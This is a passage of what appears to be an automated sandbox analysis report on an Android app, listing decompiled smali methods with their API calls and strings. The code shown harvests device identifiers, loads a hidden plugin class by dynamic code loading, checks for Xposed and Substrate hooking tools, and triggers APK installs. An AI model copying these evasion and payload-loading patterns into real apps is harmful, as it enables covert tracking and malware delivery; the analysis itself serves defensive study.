                              56invoke-virtual {v0}, Landroid/content/res/Resources;->newTheme()Landroid/content/res/Resources$Theme;
                              57move-result-object v0
                              58iput-object v0, p0, Lsdk/nicro/lu/ps/f$d$1;->a:Landroid/content/res/Resources$Theme;
                              60iget-object v0, p0, Lsdk/nicro/lu/ps/f$d$1;->a:Landroid/content/res/Resources$Theme;
                              61iget v1, p0, Lsdk/nicro/lu/ps/f$d$1;->b:I
                              63invoke-virtual {v0, v1, v5}, Landroid/content/res/Resources$Theme;->applyStyle(IZ)V
                              64cond_57:
                              65iget-object v0, p0, Lsdk/nicro/lu/ps/f$d$1;->a:Landroid/content/res/Resources$Theme;
                              66return-object v0
                              67catch_5a: move-exception v0
                              68const v0, 0x1030005
                              69iput v0, p0, Lsdk/nicro/lu/ps/f$d$1;->b:I
                              70goto/16 :goto_48
                              APIs
                              • java.lang.IllegalArgumentException.<init>
                              • java.lang.IllegalArgumentException.<init>
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService.getAuthenticatorInfo
                              • android.accounts.IAccountManagerResponse.onError
                              • android.os.RemoteException.printStackTrace
                              • android.accounts.Account.name:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService$6.<init>
                              • com.lody.virtual.server.accounts.VAccountManagerService$6.bind
                              Strings
                              • response is null
                              • account is null
                              • account.type does not exist
                              Position Instruction Meta Information
                              0.prologue
                              1if-nez p2, :cond_a
                              2new-instance v0, Ljava/lang/IllegalArgumentException;
                              4const-string v1, "response is null"
                              6invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              7throw v0
                              8cond_a: if-nez p3, :cond_14
                              9new-instance v0, Ljava/lang/IllegalArgumentException;
                              11const-string v1, "account is null"
                              13invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              14throw v0
                              15cond_14:
                              16iget-object v0, p3, Landroid/accounts/Account;->type:Ljava/lang/String;
                              18invoke-direct {p0, v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getAuthenticatorInfo(Ljava/lang/String;)Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;
                              19move-result-object v4
                              20if-nez v4, :cond_28
                              21const/4 v0, 0x7
                              22try_start_1d:
                              23const-string v1, "account.type does not exist"
                              25invoke-interface {p2, v0, v1}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              26goto_22: return-void
                              27catch_23: move-exception v0
                              29invoke-virtual {v0}, Landroid/os/RemoteException;->printStackTrace()V
                              30goto/16 :goto_22
                              31cond_28: new-instance v0, Lcom/lody/virtual/server/accounts/VAccountManagerService$6;
                              32const/4 v6, 0x1
                              34iget-object v7, p3, Landroid/accounts/Account;->name:Ljava/lang/String;
                              35const/4 v8, 0x1
                              36const/4 v9, 0x1
                              37move-object v1, p0
                              38move-object v2, p2
                              39move v3, p1
                              40move/from16 v5, p5
                              41move-object v10, p3
                              42move-object/from16 v11, p4
                              44invoke-direct/range {v0 .. v11}, Lcom/lody/virtual/server/accounts/VAccountManagerService$6;-><init>(Lcom/lody/virtual/server/accounts/VAccountManagerService;Landroid/accounts/IAccountManagerResponse;ILcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;ZZLjava/lang/String;ZZLandroid/accounts/Account;Landroid/os/Bundle;)V
                              46invoke-virtual {v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService$6;->bind()V
                              47goto/16 :goto_22
                              Cross References
                              APIs
                              • java.lang.Runtime.getRuntime
                              • java.lang.Runtime.exec
                              • java.lang.Process.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.String.contains
                              • java.lang.String.contains
                              • java.lang.Exception.printStackTrace
                              Strings
                              • ps
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2const/4 v1, 0x0
                              3try_start_2:
                              4invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              5move-result-object v2
                              7const-string/jumbo v3, "ps"
                              9invoke-virtual {v2, v3}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                              10move-result-object v2
                              11new-instance v4, Ljava/io/BufferedReader;
                              12new-instance v3, Ljava/io/InputStreamReader;
                              14invoke-virtual {v2}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              15move-result-object v2
                              17invoke-direct {v3, v2}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                              19invoke-direct {v4, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              20move v2, v1
                              21move v3, v1
                              22cond_1d:
                              23invoke-virtual {v4}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              24move-result-object v5
                              25if-eqz v5, :cond_34
                              27invoke-virtual {v5, p0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              28move-result v6
                              29if-eqz v6, :cond_2b
                              30add-int/lit8 v3, v3, 0x1
                              31cond_2b:
                              32invoke-virtual {v5, p1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              33try_end_2e: move-result v5
                              34if-eqz v5, :cond_1d
                              35add-int/lit8 v2, v2, 0x1
                              36goto/16 :goto_1d
                              37cond_34: const/4 v4, 0x2
                              38if-ge v3, v4, :cond_3a
                              39if-ge v2, v0, :cond_3a
                              40goto_39: return v0
                              41cond_3a: move v0, v1
                              42goto/16 :goto_39
                              43catch_3c: move-exception v1
                              45invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              46goto/16 :goto_39
                              APIs
                              • java.lang.IllegalArgumentException.<init>
                              • java.lang.IllegalArgumentException.<init>
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService.getAuthenticatorInfo
                              • android.accounts.IAccountManagerResponse.onError
                              • android.os.RemoteException.printStackTrace
                              • android.accounts.Account.name:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService$8.<init>
                              • com.lody.virtual.server.accounts.VAccountManagerService$8.bind
                              Strings
                              • response is null
                              • account is null
                              • account.type does not exist
                              Position Instruction Meta Information
                              0.prologue
                              1if-nez p2, :cond_a
                              2new-instance v0, Ljava/lang/IllegalArgumentException;
                              4const-string v1, "response is null"
                              6invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              7throw v0
                              8cond_a: if-nez p3, :cond_14
                              9new-instance v0, Ljava/lang/IllegalArgumentException;
                              11const-string v1, "account is null"
                              13invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              14throw v0
                              15cond_14:
                              16iget-object v0, p3, Landroid/accounts/Account;->type:Ljava/lang/String;
                              18invoke-direct {p0, v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getAuthenticatorInfo(Ljava/lang/String;)Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;
                              19move-result-object v4
                              20if-nez v4, :cond_28
                              21const/4 v0, 0x7
                              22try_start_1d:
                              23const-string v1, "account.type does not exist"
                              25invoke-interface {p2, v0, v1}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              26goto_22: return-void
                              27catch_23: move-exception v0
                              29invoke-virtual {v0}, Landroid/os/RemoteException;->printStackTrace()V
                              30goto/16 :goto_22
                              31cond_28: new-instance v0, Lcom/lody/virtual/server/accounts/VAccountManagerService$8;
                              32const/4 v6, 0x1
                              34iget-object v7, p3, Landroid/accounts/Account;->name:Ljava/lang/String;
                              35move-object v1, p0
                              36move-object v2, p2
                              37move v3, p1
                              38move v5, p4
                              39move-object v8, p3
                              40move v9, p1
                              42invoke-direct/range {v0 .. v9}, Lcom/lody/virtual/server/accounts/VAccountManagerService$8;-><init>(Lcom/lody/virtual/server/accounts/VAccountManagerService;Landroid/accounts/IAccountManagerResponse;ILcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;ZZLjava/lang/String;Landroid/accounts/Account;I)V
                              44invoke-virtual {v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService$8;->bind()V
                              45goto/16 :goto_22
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • android.content.Context.getPackageManager
                              • android.content.Context.getPackageName
                              • android.content.pm.PackageManager.checkPermission
                              Strings
                              • android.content.Context
                              • checkSelfPermission
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v2, 0x0
                              3sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              4const/16 v3, 0x17
                              5if-lt v0, v3, :cond_33
                              6try_start_8:
                              7const-string v0, "android.content.Context"
                              9invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              10move-result-object v0
                              12const-string v3, "checkSelfPermission"
                              13const/4 v4, 0x1
                              14new-array v4, v4, [Ljava/lang/Class;
                              15const/4 v5, 0x0
                              16const-class v6, Ljava/lang/String;
                              17aput-object v6, v4, v5
                              19invoke-virtual {v0, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              20move-result-object v0
                              21const/4 v3, 0x1
                              22new-array v3, v3, [Ljava/lang/Object;
                              23const/4 v4, 0x0
                              24aput-object p1, v3, v4
                              26invoke-virtual {v0, p0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              27move-result-object v0
                              28check-cast v0, Ljava/lang/Integer;
                              30invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              31try_end_2b: move-result v0
                              32if-nez v0, :cond_31
                              33move v0, v1
                              34goto_2f: move v2, v0
                              35goto_30: return v2
                              36cond_31: move v0, v2
                              37goto/16 :goto_2f
                              38cond_33:
                              39invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              40move-result-object v0
                              42invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              43move-result-object v3
                              45invoke-virtual {v0, p1, v3}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
                              46move-result v0
                              47if-nez v0, :cond_30
                              48move v2, v1
                              49goto/16 :goto_30
                              50catch_43: move-exception v0
                              51goto/16 :goto_30
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getDeviceId
                              • android.text.TextUtils.isEmpty
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • android.text.TextUtils.isEmpty
                              • android.os.Build.SERIAL:Ljava/lang/String
                              Strings
                              • phone
                              • android.permission.READ_PHONE_STATE
                              • android_id
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2if-eqz p0, :cond_40
                              3try_start_3:
                              4const-string v0, "phone"
                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Landroid/telephony/TelephonyManager;
                              9if-eqz v0, :cond_3e
                              11const-string v2, "android.permission.READ_PHONE_STATE"
                              13invoke-static {p0, v2}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              14move-result v2
                              15if-eqz v2, :cond_3e
                              17invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                              18try_end_18: move-result-object v1
                              19move-object v0, v1
                              20try_start_1a:
                              21invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              22move-result v1
                              23if-eqz v1, :cond_38
                              25invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              26move-result-object v1
                              28const-string v2, "android_id"
                              30invoke-static {v1, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              31move-result-object v0
                              33invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              34move-result v1
                              35if-eqz v1, :cond_38
                              36sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              37const/16 v2, 0x9
                              38if-lt v1, v2, :cond_38
                              40sget-object v0, Landroid/os/Build;->SERIAL:Ljava/lang/String;
                              41try_end_38: return-object v0
                              42catch_39: move-exception v0
                              43move-object v0, v1
                              44goto/16 :goto_38
                              45catch_3c: move-exception v1
                              46goto/16 :goto_38
                              47cond_3e: move-object v0, v1
                              48goto/16 :goto_1a
                              49cond_40: move-object v0, v1
                              50goto/16 :goto_38
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • android.accounts.Account.type:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.util.Map.get
                              • com.lody.virtual.server.pm.VAppManagerService.get
                              • android.content.pm.ServiceInfo.packageName:Ljava/lang/String
                              • com.lody.virtual.server.pm.VAppManagerService.isAppInstalled
                              Strings
                              • /
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v1, p0, Lcom/lody/virtual/server/accounts/VContentService;->mAppSyncAdapterInfos:Ljava/util/Map;
                              3monitor-enter v1
                              4try_start_3:
                              5iget-object v0, p0, Lcom/lody/virtual/server/accounts/VContentService;->mAppSyncAdapterInfos:Ljava/util/Map;
                              6new-instance v2, Ljava/lang/StringBuilder;
                              8invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              10iget-object v3, p2, Landroid/accounts/Account;->type:Ljava/lang/String;
                              12invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              13move-result-object v2
                              15const-string v3, "/"
                              17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              18move-result-object v2
                              20invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              21move-result-object v2
                              23invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              24move-result-object v2
                              26invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              27move-result-object v0
                              28check-cast v0, Lcom/lody/virtual/server/accounts/VContentService$SyncAdapterInfo;
                              29if-eqz v0, :cond_37
                              31invoke-static {}, Lcom/lody/virtual/server/pm/VAppManagerService;->get()Lcom/lody/virtual/server/pm/VAppManagerService;
                              32move-result-object v2
                              34iget-object v0, v0, Lcom/lody/virtual/server/accounts/VContentService$SyncAdapterInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
                              36iget-object v0, v0, Landroid/content/pm/ServiceInfo;->packageName:Ljava/lang/String;
                              38invoke-virtual {v2, v0}, Lcom/lody/virtual/server/pm/VAppManagerService;->isAppInstalled(Ljava/lang/String;)Z
                              39move-result v0
                              40if-eqz v0, :cond_37
                              41const/4 v0, 0x1
                              42goto_35: monitor-exit v1
                              43return v0
                              44cond_37: const/4 v0, 0x0
                              45goto/16 :goto_35
                              46catchall_39: move-exception v0
                              47monitor-exit v1
                              48try_end_3b: throw v0
                              Cross References
                              APIs
                              • dalvik.system.DexClassLoader.loadClass
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.ClassNotFoundException.printStackTrace
                              • java.lang.NoSuchMethodException.printStackTrace
                              • java.lang.IllegalAccessException.printStackTrace
                              • java.lang.reflect.InvocationTargetException.printStackTrace
                              Strings
                              • com.plugin.request.BackModelService
                              • onDestroy
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              3sget-object v0, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              4if-eqz v0, :cond_1f
                              5try_start_5:
                              6sget-object v0, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              8const-string/jumbo v1, "com.plugin.request.BackModelService"
                              10invoke-virtual {v0, v1}, Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              11move-result-object v0
                              13const-string/jumbo v1, "onDestroy"
                              14const/4 v2, 0x0
                              15new-array v2, v2, [Ljava/lang/Class;
                              17invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              18move-result-object v0
                              19const/4 v1, 0x0
                              20const/4 v2, 0x0
                              21new-array v2, v2, [Ljava/lang/Object;
                              23invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              24cond_1f: return-void
                              25catch_20: move-exception v0
                              26sput-object v3, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              28invoke-virtual {v0}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              29goto/16 :goto_1f
                              30catch_27: move-exception v0
                              31sput-object v3, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              33invoke-virtual {v0}, Ljava/lang/NoSuchMethodException;->printStackTrace()V
                              34goto/16 :goto_1f
                              35catch_2e: move-exception v0
                              36sput-object v3, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              38invoke-virtual {v0}, Ljava/lang/IllegalAccessException;->printStackTrace()V
                              39goto/16 :goto_1f
                              40catch_35: move-exception v0
                              41sput-object v3, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              43invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                              44goto/16 :goto_1f
                              Cross References
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.pm.PackageManager.getInstalledApplications
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • java.lang.String.equals
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • java.lang.String.equals
                              Strings
                              • de.robv.android.xposed.installer
                              • com.saurik.substrate
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              3iget-object v0, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              5invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              6move-result-object v0
                              7const/16 v2, 0x80
                              9invoke-virtual {v0, v2}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
                              10move-result-object v0
                              12invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              13move-result-object v2
                              14cond_11:
                              15invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              16move-result v0
                              17if-eqz v0, :cond_37
                              19invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              20move-result-object v0
                              21check-cast v0, Landroid/content/pm/ApplicationInfo;
                              23iget-object v3, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              25const-string/jumbo v4, "de.robv.android.xposed.installer"
                              27invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              28move-result v3
                              29if-eqz v3, :cond_2a
                              30move v0, v1
                              31goto_29: return v0
                              32cond_2a:
                              33iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              35const-string/jumbo v3, "com.saurik.substrate"
                              37invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              38move-result v0
                              39if-eqz v0, :cond_11
                              40move v0, v1
                              41goto/16 :goto_29
                              42cond_37: const/4 v0, 0x0
                              43goto/16 :goto_29
                              APIs
                              • android.content.Context.getSystemService
                              • java.lang.Object.getClass
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.String.equals
                              • java.lang.Exception.printStackTrace
                              Strings
                              • storage
                              • getVolumeState
                              • mounted
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2if-nez p1, :cond_5
                              3move v0, v1
                              4goto_4: return v0
                              5cond_5:
                              6const-string v0, "storage"
                              8invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              9move-result-object v0
                              10check-cast v0, Landroid/os/storage/StorageManager;
                              11try_start_d:
                              12invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              13move-result-object v2
                              15const-string v3, "getVolumeState"
                              16const/4 v4, 0x1
                              17new-array v4, v4, [Ljava/lang/Class;
                              18const/4 v5, 0x0
                              19const-class v6, Ljava/lang/String;
                              20aput-object v6, v4, v5
                              22invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              23move-result-object v2
                              24const/4 v3, 0x1
                              25new-array v3, v3, [Ljava/lang/Object;
                              26const/4 v4, 0x0
                              27aput-object p1, v3, v4
                              29invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              30move-result-object v0
                              31check-cast v0, Ljava/lang/String;
                              33const-string v2, "mounted"
                              35invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              36try_end_30: move-result v0
                              37goto/16 :goto_4
                              38catch_32: move-exception v0
                              40invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              41move v0, v1
                              42goto/16 :goto_4
                              Cross References
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.pm.PackageManager.getInstalledApplications
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • java.lang.String.equals
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • java.lang.String.equals
                              Strings
                              • de.robv.android.xposed.installer
                              • com.saurik.substrate
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              3invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              4move-result-object v0
                              5const/16 v2, 0x80
                              7invoke-virtual {v0, v2}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
                              8move-result-object v0
                              10invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              11move-result-object v2
                              12cond_f:
                              13invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              14move-result v0
                              15if-eqz v0, :cond_35
                              17invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              18move-result-object v0
                              19check-cast v0, Landroid/content/pm/ApplicationInfo;
                              21iget-object v3, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              23const-string/jumbo v4, "de.robv.android.xposed.installer"
                              25invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              26move-result v3
                              27if-eqz v3, :cond_28
                              28move v0, v1
                              29goto_27: return v0
                              30cond_28:
                              31iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              33const-string/jumbo v3, "com.saurik.substrate"
                              35invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              36move-result v0
                              37if-eqz v0, :cond_f
                              38move v0, v1
                              39goto/16 :goto_27
                              40cond_35: const/4 v0, 0x0
                              41goto/16 :goto_27
                              Cross References
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.pm.PackageManager.getInstalledApplications
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • java.lang.String.equals
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • java.lang.String.equals
                              Strings
                              • de.robv.android.xposed.installer
                              • com.saurik.substrate
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              3invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              4move-result-object v0
                              5const/16 v2, 0x80
                              7invoke-virtual {v0, v2}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
                              8move-result-object v0
                              10invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              11move-result-object v2
                              12cond_f:
                              13invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              14move-result v0
                              15if-eqz v0, :cond_35
                              17invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              18move-result-object v0
                              19check-cast v0, Landroid/content/pm/ApplicationInfo;
                              21iget-object v3, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              23const-string/jumbo v4, "de.robv.android.xposed.installer"
                              25invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              26move-result v3
                              27if-eqz v3, :cond_28
                              28move v0, v1
                              29goto_27: return v0
                              30cond_28:
                              31iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              33const-string/jumbo v3, "com.saurik.substrate"
                              35invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              36move-result v0
                              37if-eqz v0, :cond_f
                              38move v0, v1
                              39goto/16 :goto_27
                              40cond_35: const/4 v0, 0x0
                              41goto/16 :goto_27
                              Cross References
                              APIs
                              • java.io.FileReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.String.split
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.io.BufferedReader.close
                              Strings
                              • /proc/meminfo
                              • \\s+
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v1, "/proc/meminfo"
                              3const/4 v0, 0x0
                              4try_start_4: new-instance v2, Ljava/io/FileReader;
                              6invoke-direct {v2, v1}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                              7new-instance v1, Ljava/io/BufferedReader;
                              8const/16 v3, 0x2000
                              10invoke-direct {v1, v2, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                              12invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              13move-result-object v2
                              15const-string/jumbo v3, "\\s+"
                              17invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                              18move-result-object v2
                              19const/4 v3, 0x1
                              20aget-object v2, v2, v3
                              22invoke-static {v2}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
                              23move-result-object v2
                              25invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              26move-result v2
                              27div-int/lit16 v0, v2, 0x400
                              29invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                              30goto_2b: return v0
                              31catch_2c: move-exception v1
                              32goto/16 :goto_2b
                              Cross References
                              APIs
                              • android.content.Intent.<init>
                              • android.content.Intent.addFlags
                              • android.content.Intent.setAction
                              • java.io.File.<init>
                              • android.net.Uri.fromFile
                              • android.content.Intent.setDataAndType
                              • android.content.Context.startActivity
                              Strings
                              • android.intent.action.VIEW
                              • application/vnd.android.package-archive
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Landroid/content/Intent;
                              3invoke-direct {v0}, Landroid/content/Intent;-><init>()V
                              4const/high16 v1, 0x10000000
                              6invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                              8const-string/jumbo v1, "android.intent.action.VIEW"
                              10invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                              11new-instance v1, Ljava/io/File;
                              13invoke-direct {v1, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              15invoke-static {v1}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                              16move-result-object v1
                              18const-string/jumbo v2, "application/vnd.android.package-archive"
                              20invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                              22invoke-virtual {p0, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                              23return-void
                              Cross References
                              APIs
                              • android.net.LocalSocket.<init>
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.net.LocalSocketAddress.<init>
                              • android.net.LocalSocket.connect
                              • android.net.LocalSocket.close
                              • java.lang.Boolean.valueOf
                              • java.lang.Boolean.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Landroid/net/LocalSocket;
                              3invoke-direct {v0}, Landroid/net/LocalSocket;-><init>()V
                              4new-instance v1, Landroid/net/LocalSocketAddress;
                              5new-instance v2, Ljava/lang/StringBuilder;
                              7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              9sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
